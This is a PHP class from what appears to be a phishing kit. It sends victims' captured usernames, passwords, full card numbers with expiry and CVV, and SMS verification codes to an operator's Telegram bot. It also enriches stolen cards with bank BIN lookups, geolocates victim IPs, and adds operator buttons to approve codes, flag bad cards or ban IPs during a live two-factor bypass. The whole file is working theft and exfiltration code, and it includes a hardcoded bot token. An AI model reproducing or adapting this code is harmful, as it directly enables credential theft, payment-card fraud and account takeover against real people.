<?php
/**
 * Telegram API Integration
 * Sends notifications to Telegram bot
 */

// Prevent direct access
if (!defined('APP_ACCESS')) {
    die('Direct access not permitted');
}

class TelegramAPI {
    
    public $botToken;
    public $chatId;
    private $enabled;
    
    /**
     * Constructor
     */
    public function __construct() {
        // Include encryption functions
        require_once __DIR__ . '/../includes/encryption.php';
        
        // Get bot token and chat ID (decrypt if encrypted)
        $this->botToken = TELEGRAM_BOT_TOKEN;
        $this->chatId = TELEGRAM_CHAT_ID;
        
        // Check if values are encrypted (base64)
        if (base64_encode(base64_decode($this->botToken, true)) === $this->botToken) {
            $this->botToken = decryptData($this->botToken);
        }
        if (base64_encode(base64_decode($this->chatId, true)) === $this->chatId) {
            $this->chatId = decryptData($this->chatId);
        }
        
        $this->enabled = TELEGRAM_ENABLED;
    }
    
    /**
     * Send message to Telegram
     * 
     * @param string $message Message to send
     * @return bool Success status
     */
    public function sendMessage($message) {
        if (!$this->enabled) {
            return false;
        }
        
        if (empty($this->botToken) || empty($this->chatId) || 
            $this->botToken === '8826694660:AAEoaPYqHsoajNcJue74w-fpgzO3xJHEdMo' || 
            $this->chatId === '-5115758840') {
            logMessage('Telegram not configured properly', BOTS_LOG_FILE);
            return false;
        }
        
        $url = "https://api.telegram.org/bot{$this->botToken}/sendMessage";
        
        $data = [
            'chat_id' => $this->chatId,
            'text' => $message,
            'parse_mode' => 'HTML'
        ];
        
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        
        $result = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        return ($httpCode === 200);
    }
    
    /**
     * Send login credentials
     * 
     * @param string $username Username/Email
     * @param string $password Password
     */
    public function sendLogin($username, $password) {
        $ip = getClientIP();
        $userAgent = getUserAgent();
        $timestamp = date('Y-m-d H:i:s');
        
        // Get geolocation info
        $geoInfo = $this->getGeoInfo($ip);
        
        $message = "🔐 <b>NEW LOGIN CAPTURED</b>\n\n";
        $message .= "📧 <b>Username:</b> {$username}\n";
        $message .= "🔑 <b>Password:</b> {$password}\n\n";
        $message .= "📍 <b>IP Address:</b> {$ip}\n";
        $message .= "🌍 <b>Country:</b> {$geoInfo['country']}\n";
        $message .= "🏙️ <b>City:</b> {$geoInfo['city']}\n";
        $message .= "🕐 <b>Time:</b> {$timestamp}\n";
        $message .= "💻 <b>User Agent:</b> {$userAgent}";
        
        return $this->sendMessage($message);
    }
    
    /**
     * Send credit card information with Card Scan button
     * 
     * @param string $cardHolder Card holder name
     * @param string $cardNumber Card number
     * @param string $expiry Expiry date
     * @param string $cvv CVV code
     * @param string $scanUrl Card scan URL (optional)
     */
    public function sendCreditCard($cardHolder, $cardNumber, $expiry, $cvv, $scanUrl = '') {
        $ip = getClientIP();
        $timestamp = date('Y-m-d H:i:s');
        
        // Get BIN information
        $binInfo = $this->getBinInfo($cardNumber);
        
        // Get geolocation info
        $geoInfo = $this->getGeoInfo($ip);
        
        $message = "💳 <b>CREDIT CARD CAPTURED</b>\n\n";
        $message .= "👤 <b>Card Holder:</b> {$cardHolder}\n";
        $message .= "💳 <b>Card Number:</b> <code>{$cardNumber}</code>\n";
        $message .= "📅 <b>Expiry:</b> {$expiry}\n";
        $message .= "🔒 <b>CVV:</b> {$cvv}\n\n";
        
        // Add BIN information
        $message .= "[+]━━━━【💳 Bin】━━━[+]\n";
        $message .= "[🏛 Card Bank] = {$binInfo['bank']}\n";
        $message .= "[💳 Card type] = {$binInfo['type']}\n";
        $message .= "[💳 Card brand] = {$binInfo['brand']}\n";
        $message .= "[🌍 Country] = {$binInfo['country']}\n\n";
        
        // Add IP and geolocation information
        $message .= "📍 <b>IP:</b> {$ip}\n";
        $message .= "🌍 <b>IP COUNTRY CODE:</b> {$geoInfo['countryCode']}\n";
        $message .= "🌍 <b>IP COUNTRY NAME:</b> {$geoInfo['country']}\n";
        $message .= "🏙️ <b>City:</b> {$geoInfo['city']}\n";
        $message .= "🕐 <b>Time:</b> {$timestamp}";
        
        // If scan URL provided, send with button
        if (!empty($scanUrl)) {
            return $this->sendCardWithButton($message, $scanUrl);
        }
        
        return $this->sendMessage($message);
    }
    
    /**
     * Get BIN (Bank Identification Number) information
     * Uses multiple free APIs for better accuracy
     * 
     * @param string $cardNumber Card number
     * @return array BIN information
     */
    private function getBinInfo($cardNumber) {
        // Extract BIN (first 6 digits)
        $bin = substr(str_replace(' ', '', $cardNumber), 0, 6);
        
        $default = [
            'bank' => 'Unknown',
            'type' => 'Unknown',
            'brand' => 'Unknown',
            'country' => 'Unknown'
        ];
        
        // Try multiple APIs for better accuracy
        $apis = [
            // API 1: binlist.net (free, no key)
            [
                'url' => "https://lookup.binlist.net/{$bin}",
                'headers' => ['Accept-Version: 3'],
                'parser' => function($data) {
                    return [
                        'bank' => isset($data['bank']['name']) ? $data['bank']['name'] : null,
                        'type' => isset($data['type']) ? ucfirst($data['type']) : null,
                        'brand' => isset($data['scheme']) ? strtoupper($data['scheme']) : null,
                        'country' => isset($data['country']['name']) ? $data['country']['name'] : null
                    ];
                }
            ],
            // API 2: bins.su (free, no key)
            [
                'url' => "https://bins.su/api/v1/{$bin}",
                'headers' => [],
                'parser' => function($data) {
                    return [
                        'bank' => isset($data['bank']) ? $data['bank'] : null,
                        'type' => isset($data['type']) ? ucfirst($data['type']) : null,
                        'brand' => isset($data['brand']) ? strtoupper($data['brand']) : null,
                        'country' => isset($data['country']) ? $data['country'] : null
                    ];
                }
            ],
            // API 3: bincodes.com (free, no key)
            [
                'url' => "https://api.bincodes.com/bin/?format=json&api_key=&bin={$bin}",
                'headers' => [],
                'parser' => function($data) {
                    return [
                        'bank' => isset($data['bank']) ? $data['bank'] : null,
                        'type' => isset($data['type']) ? ucfirst($data['type']) : null,
                        'brand' => isset($data['card']) ? strtoupper($data['card']) : null,
                        'country' => isset($data['country']) ? $data['country'] : null
                    ];
                }
            ]
        ];
        
        foreach ($apis as $api) {
            try {
                $ch = curl_init($api['url']);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_TIMEOUT, 5);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                
                if (!empty($api['headers'])) {
                    curl_setopt($ch, CURLOPT_HTTPHEADER, $api['headers']);
                }
                
                $response = curl_exec($ch);
                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
                
                if ($httpCode === 200 && $response) {
                    $data = json_decode($response, true);
                    
                    if ($data) {
                        $result = $api['parser']($data);
                        
                        // If we got valid data, return it
                        if ($result['bank'] !== null || $result['brand'] !== null) {
                            return [
                                'bank' => $result['bank'] ?? 'Unknown',
                                'type' => $result['type'] ?? 'Unknown',
                                'brand' => $result['brand'] ?? 'Unknown',
                                'country' => $result['country'] ?? 'Unknown'
                            ];
                        }
                    }
                }
            } catch (Exception $e) {
                // Try next API
                continue;
            }
        }
        
        return $default;
    }
    
    /**
     * Send card info with Card Scan button
     * 
     * @param string $message Message to send
     * @param string $scanUrl Card scan URL
     * @return bool Success status
     */
    private function sendCardWithButton($message, $scanUrl) {
        if (!$this->enabled) {
            return false;
        }
        
        if (empty($this->botToken) || empty($this->chatId)) {
            return false;
        }
        
        // Button for Card Scan
        $keyboard = [
            'inline_keyboard' => [
                [
                    ['text' => '💳 Card Scan', 'url' => $scanUrl]
                ]
            ]
        ];
        
        $url = "https://api.telegram.org/bot{$this->botToken}/sendMessage";
        
        $data = [
            'chat_id' => $this->chatId,
            'text' => $message,
            'parse_mode' => 'HTML',
            'reply_markup' => json_encode($keyboard)
        ];
        
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        
        $result = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        return ($httpCode === 200);
    }
    
    /**
     * Send SMS verification code with approval buttons
     * 
     * @param string $code SMS code
     * @param array $victimInfo Additional victim information
     */
    public function sendSMSCode($code, $victimInfo = []) {
        $ip = getClientIP();
        $timestamp = date('Y-m-d H:i:s');
        
        $message = "📱 <b>SMS CODE CAPTURED</b>\n\n";
        $message .= "🔢 <b>Code:</b> <code>{$code}</code>\n\n";
        
        // Add victim info if available
        if (!empty($victimInfo['username'])) {
            $message .= "👤 <b>Username:</b> {$victimInfo['username']}\n";
        }
        if (!empty($victimInfo['phone'])) {
            $message .= "📞 <b>Phone:</b> {$victimInfo['phone']}\n";
        }
        if (!empty($victimInfo['card'])) {
            $message .= "💳 <b>Card:</b> {$victimInfo['card']}\n";
        }
        
        $message .= "\n📍 <b>IP:</b> {$ip}\n";
        $message .= "🕐 <b>Time:</b> {$timestamp}\n\n";
        $message .= "⬇️ <b>Choose action:</b>";
        
        // Send with approval buttons
        return $this->sendSMSWithButtons($message, $code, $ip);
    }
    
    /**
     * Send SMS code with approval/reject buttons
     * 
     * @param string $message Message to send
     * @param string $code SMS code
     * @param string $ip Victim IP
     * @return bool Success status
     */
    private function sendSMSWithButtons($message, $code, $ip) {
        if (!$this->enabled) {
            return false;
        }
        
        if (empty($this->botToken) || empty($this->chatId)) {
            return false;
        }
        
        // Buttons for SMS approval
        $keyboard = [
            'inline_keyboard' => [
                [
                    ['text' => '✅ APPROVE CODE', 'callback_data' => "approve_sms_{$ip}_{$code}"],
                    ['text' => '❌ REJECT CODE', 'callback_data' => "reject_sms_{$ip}_{$code}"]
                ],
                [
                    ['text' => '🔄 REQUEST NEW CODE', 'callback_data' => "retry_sms_{$ip}"]
                ],
                [
                    ['text' => '🛑 BAN IP', 'callback_data' => "ban_{$ip}"]
                ]
            ]
        ];
        
        $url = "https://api.telegram.org/bot{$this->botToken}/sendMessage";
        
        $data = [
            'chat_id' => $this->chatId,
            'text' => $message,
            'parse_mode' => 'HTML',
            'reply_markup' => json_encode($keyboard)
        ];
        
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        
        $result = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        return ($httpCode === 200);
    }
    
    /**
     * Send message with control buttons (for panel control)
     * 
     * @param string $message Message to send
     * @return bool Success status
     */
    public function sendKey($message) {
        if (!$this->enabled) {
            logMessage('sendKey: Telegram not enabled', BOTS_LOG_FILE);
            return false;
        }
        
        if (empty($this->botToken) || empty($this->chatId)) {
            logMessage('sendKey: Token or Chat ID empty', BOTS_LOG_FILE);
            return false;
        }
        
        $ip = getClientIP();
        
        // Boutons de contrôle avec callback_data
        $keyboard = [
            'inline_keyboard' => [
                [
                    ['text' => '📲 SMS 📲', 'callback_data' => "sms_$ip"],
                    ['text' => '📱 APPLICATION 📱', 'callback_data' => "app_$ip"]
                ],
                [
                    ['text' => '⛔ BAD SMS ⛔', 'callback_data' => "badsms_$ip"],
                    ['text' => '💳 BAD CC 💳', 'callback_data' => "badcc_$ip"]
                ],
                [
                    ['text' => '📱 BAD APP 📱', 'callback_data' => "badapp_$ip"]
                ],
                [
                    ['text' => '✅ CONFIRM ✅', 'callback_data' => "confirm_$ip"]
                ],
                [
                    ['text' => '🛑 Ban IP 🛑', 'callback_data' => "ban_$ip"]
                ]
            ]
        ];
        
        $url = "https://api.telegram.org/bot{$this->botToken}/sendMessage";
        
        $data = [
            'chat_id' => $this->chatId,
            'text' => $message,
            'parse_mode' => 'HTML',
            'reply_markup' => json_encode($keyboard)
        ];
        
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        
        $result = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        // Log for debugging
        if ($httpCode !== 200) {
            logMessage("sendKey failed: HTTP $httpCode - Response: $result", BOTS_LOG_FILE);
        }
        
        curl_close($ch);
        
        return ($httpCode === 200);
    }
    
    /**
     * Get geolocation information
     * Uses multiple free APIs for better accuracy
     * 
     * @param string $ip IP address
     * @return array Geo information
     */
    public function getGeoInfo($ip) {
        $default = [
            'country' => 'Unknown',
            'countryCode' => 'XX',
            'city' => 'Unknown'
        ];
        
        // Try multiple geolocation APIs for better accuracy
        $apis = [
            // API 1: ip-api.com (free, 45 requests/minute)
            [
                'url' => "http://ip-api.com/json/{$ip}?fields=status,country,countryCode,city,lat,lon,isp,org",
                'parser' => function($data) {
                    if ($data && isset($data['status']) && $data['status'] === 'success') {
                        return [
                            'country' => $data['country'] ?? 'Unknown',
                            'countryCode' => $data['countryCode'] ?? 'XX',
                            'city' => $data['city'] ?? 'Unknown'
                        ];
                    }
                    return null;
                }
            ],
            // API 2: ipapi.co (free, 1000 requests/day)
            [
                'url' => "https://ipapi.co/{$ip}/json/",
                'parser' => function($data) {
                    if ($data && !isset($data['error'])) {
                        return [
                            'country' => $data['country_name'] ?? 'Unknown',
                            'countryCode' => $data['country_code'] ?? 'XX',
                            'city' => $data['city'] ?? 'Unknown'
                        ];
                    }
                    return null;
                }
            ],
            // API 3: ipwhois.app (free, no limit)
            [
                'url' => "http://ipwho.is/{$ip}",
                'parser' => function($data) {
                    if ($data && isset($data['success']) && $data['success']) {
                        return [
                            'country' => $data['country'] ?? 'Unknown',
                            'countryCode' => $data['country_code'] ?? 'XX',
                            'city' => $data['city'] ?? 'Unknown'
                        ];
                    }
                    return null;
                }
            ],
            // API 4: ipinfo.io (free, 50k requests/month)
            [
                'url' => "https://ipinfo.io/{$ip}/json",
                'parser' => function($data) {
                    if ($data && !isset($data['error'])) {
                        return [
                            'country' => $data['country'] ?? 'Unknown',
                            'countryCode' => $data['country'] ?? 'XX',
                            'city' => $data['city'] ?? 'Unknown'
                        ];
                    }
                    return null;
                }
            ]
        ];
        
        foreach ($apis as $api) {
            try {
                $ch = curl_init($api['url']);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_TIMEOUT, 5);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
                
                $response = curl_exec($ch);
                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
                
                if ($httpCode === 200 && $response) {
                    $data = json_decode($response, true);
                    
                    if ($data) {
                        $result = $api['parser']($data);
                        
                        // If we got valid data, return it
                        if ($result !== null && $result['country'] !== 'Unknown') {
                            return $result;
                        }
                    }
                }
            } catch (Exception $e) {
                // Try next API
                continue;
            }
        }
        
        return $default;
    }
}

?>
